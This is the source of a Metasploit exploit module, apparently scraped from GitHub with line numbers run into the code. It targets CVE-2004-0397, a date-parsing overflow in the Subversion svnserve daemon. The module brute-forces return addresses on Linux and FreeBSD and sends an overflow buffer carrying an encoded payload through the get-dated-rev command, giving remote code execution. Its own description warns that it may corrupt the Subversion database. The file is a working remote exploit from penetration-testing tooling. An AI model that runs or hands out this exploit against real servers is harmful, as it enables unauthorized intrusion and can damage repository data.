Path: blob/master/modules/exploits/multi/svn/svnserve_date.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Brute9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Subversion Date Svnserve',16'Description' => %q{17This is an exploit for the Subversion date parsing overflow. This18exploit is for the svnserve daemon (svn:// protocol) and will not work19for Subversion over webdav (http[s]://). This exploit should never20crash the daemon, and should be safe to do multi-hits.2122**WARNING** This exploit seems to (not very often, I've only seen23it during testing) corrupt the subversion database, so be careful!24},25'Author' => 'spoonm',26'References' => [27['CVE', '2004-0397'],28['OSVDB', '6301'],29['BID', '10386'],30['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html']31],32'Payload' => {33'Space' => 500,34'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",35'MinNops' => 16,36},37'SaveRegisters' => [ 'esp' ],38'Arch' => 'x86',39'Platform' => %w{bsd linux},40'Targets' => [41[42'Linux Bruteforce',43{44'Platform' => 'linux',45'Bruteforce' =>46{47'Start' => { 'Ret' => 0xbffffe13 },48'Stop' => { 'Ret' => 0xbfff0000 },49'Step' => 050}51},52],53[54'FreeBSD Bruteforce',55{56'Platform' => 'bsd',57'Bruteforce' =>58{59'Start' => { 'Ret' => 0xbfbffe13 },60'Stop' => { 'Ret' => 0xbfbf0000 },61'Step' => 062}63},64],6566],67'DisclosureDate' => '2004-05-19',68'Notes' => {69'Reliability' => UNKNOWN_RELIABILITY,70'Stability' => UNKNOWN_STABILITY,71'SideEffects' => UNKNOWN_SIDE_EFFECTS72}73)74)7576register_options(77[78Opt::RPORT(3690),79OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])80]81)8283register_advanced_options(84[85# 62 on spoonm's, 88 on HD's86OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),87OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])88]89)90end9192def brute_exploit(addresses)93connect9495print_status("Trying #{"%.8x" % addresses['Ret']}...")9697buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded9899[100"( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",101"( ANONYMOUS ( 0; ) )",102"( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "103].each_with_index { |buf, index|104trash = sock.get_once105106print_line("Received: #{trash}") if debugging?107108if (sock.put(buf) || 0) == 0 and index < 3109print_error("Error transmitting buffer.")110fail_with(Failure::Unknown, "Failed to transmit data") if !datastore['IgnoreErrors']111end112113if index == 3 and trash.length > 0114print_error("Received data when we shouldn't have")115fail_with(Failure::Unknown, "Received data when it wasn't expected") if !datastore['IgnoreErrors']116end117}118119handler120disconnect121end122123def lengther(buf)124"#{buf.length}:" + buf125end126end127128129